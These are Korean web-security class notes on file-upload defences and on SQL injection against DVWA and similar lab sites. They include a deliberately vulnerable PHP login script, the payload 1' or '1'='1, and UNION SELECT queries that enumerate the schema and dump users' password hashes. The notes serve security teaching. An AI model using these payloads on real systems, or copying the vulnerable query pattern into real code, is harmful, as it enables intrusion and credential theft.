DAY28
DAY28

로그인 사이트 보안대책 최종 정리

upload.php
교수님이 준 파일로 대체

kali
cd Desktop/
touch webshell.php
touch webshell.php.jpg

업로드 페이지의 핵심 : enctype="multipart/form-data"

보안대책
1. 다 닫아놓고 특정 확장자만 열어놓기
if($extension == "php" || $extension == "Php" || $extension == "pHp" || $extension == "phP" || $extension == "PHp" || $extension == "PhP" || $extension == "pHP")등
=> 전체를 다 규정해두기 어려움
=> 확장자 .php.jpg 업로드시 업로드됨

2. 진짜 타입을 확인해서 허용
mime타입으로 파일 확인
허용된 확장자
$allowedExtensions=['jpg','jpeg'];
허용된 타입
$allowedType=[image/jpeg];

3. 그외 보안대책 추가하기
(dvwa.st.kr > file upload impossible 소스코드와 그누보드 write_update.php 보안방법을 살펴보자)
확장자에 -x 붙여서 실행하지 못하게 함
$filename = preg_replace("/\./(php|pht|phtm|html|cgi|pl|exe|jsp|asp|inc|phar)i", "$0-x", $filename);

파일이름을 분리해서 암호화해서 이름과 경로 알지 못하게 함
파일명_?_?
=> $upload[$i]['file'] = md5(sha1($_SERVER['REMOTE_ADDR'])).'_'.substr($shuffle,0,8).'_'.replace_filename($filename);
=>파일 업로드 위치를 알아도 실행할 수 없게 함
plugin > editor > cheditor5 > editor.lib.php
if (!defined('_GNUBOARD_')) exit; // 개별 페이지 접근 불가 

Bootstrap Example

SQL 인젝션 공격 이해하기


SQL인젝션
DML 이용하기
DATA MANIPULATION LANGUAGE 데이터 조작 언어
1.SELECT 	from
데이터 조회
2.INSERT into
새로운 데이터 테이블에 추가
3.UPDATE set
기존 데이터 수정
4.DELETE from
데이터 삭제

workbench
select (항목;colums),() from (users;table);
select *(ALL) FROM web2.users;
select id_param from users where id_param='admin';
select id_param from users where id_param='1' or '1'='1' (sql 인젝션 공격!!)
(or; 둘 중 하나만 참이어도 참이다)

login.php
	< form action="">을 /auth/log2_ok.php로 변경
login2_ok.php 생성
< ?php
	session_start();
	include __DIR__ . "/../includes/db.php";

	$id_param = $_GET['id_param'];
	$pw_param = $_GET['pw_param'];

	echo "< br>";
	echo $id_param;
	echo "< br>";
	echo "< hr>";
	echo $pw_param;
	echo "< br>";
	echo "SQL 인젝션 공격";
	#admin > 1' or '1'='1 
	$sql = "select failed_login, last_login from users where id_param='$id_param'";
	echo $sql;

	echo $sql."< br>"; #OK;
	$result = mysqli_query($conn,$sql);
	if(mysqli_num_rows($result) > 0) {
		echo "OK"."< br>"; #OK
	} else{ 
		echo "NO"."< br>";
	}
	$row = mysqli_fetch_assoc($result);
	echo "실패횟수" . $row['failed_login'];  #실패횟수
	echo "< br>";

web.st.kr > 1' or '1'='1 로그인해보기(인젝션 공격 성공)
dvwa.st.kr > sql injection(security:low) 로그인해보기
ID: 1' or '1'='1
First name: admin
Surname: admin
ID: 1' or '1'='1
First name: Gordon
Surname: Brown
ID: 1' or '1'='1
First name: Hack
Surname: Me
ID: 1' or '1'='1
First name: Pablo
Surname: Picasso
ID: 1' or '1'='1
First name: Bob
Surname: Smith

=> 1' or '1'='1 (성공확인)

Bootstrap Example

md5 자동화 프로그램 만들기

업로드 공격
python으로 버튼을 누르지 않고도 업로드 공격을 할 수 있다.
요청이 url에 포함 > get
요청이 안보이면 > post (안보이니까 더 안전)

payload
id_paran
pw_paran


타겟
login2_ok.php

UNION을 사용하려면 필드수를 맞춰줘야 한다.
UNION 합집합
#

dvwa.st.kr
1' ORDER BY 1# (1개 성공)
1' ORDER BY 2# (1개 성공)
1' ORDER BY 3# (X)
1' UNION SELECT 1,2# (1개 성공)
1' UNION SELECT 1,2,3# (X)
연결성공

아래 함수 이용해서 Attack.py 짜보기
(login.php에 있는 select문=' UNION(합집합) 공격문#
=> 둘중 하나라도 참이면 참이므로 공격문이 참이므로 select문 내용을 알려주게 된다)

' UNION SELECT schema_name,2 from information_schema.schemata#
	ID: ' UNION SELECT schema_name,2 from information_schema.schemata#
	First name: information_schema
	Surname: 2
	ID: ' UNION SELECT schema_name,2 from information_schema.schemata#
	First name: performance_schema
	Surname: 2
	ID: ' UNION SELECT schema_name,2 from information_schema.schemata#
	First name: dvwa
	Surname: 2
=> information_schema, performance_schema, dvwa(web2) 찾아냄(데이터베이스 이름)


' UNION SELECT table_name,2 from information_schema.tables where table_schema='dvwa(web2)'#
=> users 찾아냄(테이블이름)


' UNION SELECT column_name,2 from information_schema.columns where table_schema='dvwa' and table_name='users'#
=> failed_login, id_param, idx, last_login, pw_param 찾아냄(column종류)

' UNION SELECT id_param,pw_param from users#
	ID: ' UNION SELECT user,password from users#
	First name: admin
	Surname: 5f4dcc3b5aa765d61d8327deb882cf99 등... (인젝션 공격 성공; id)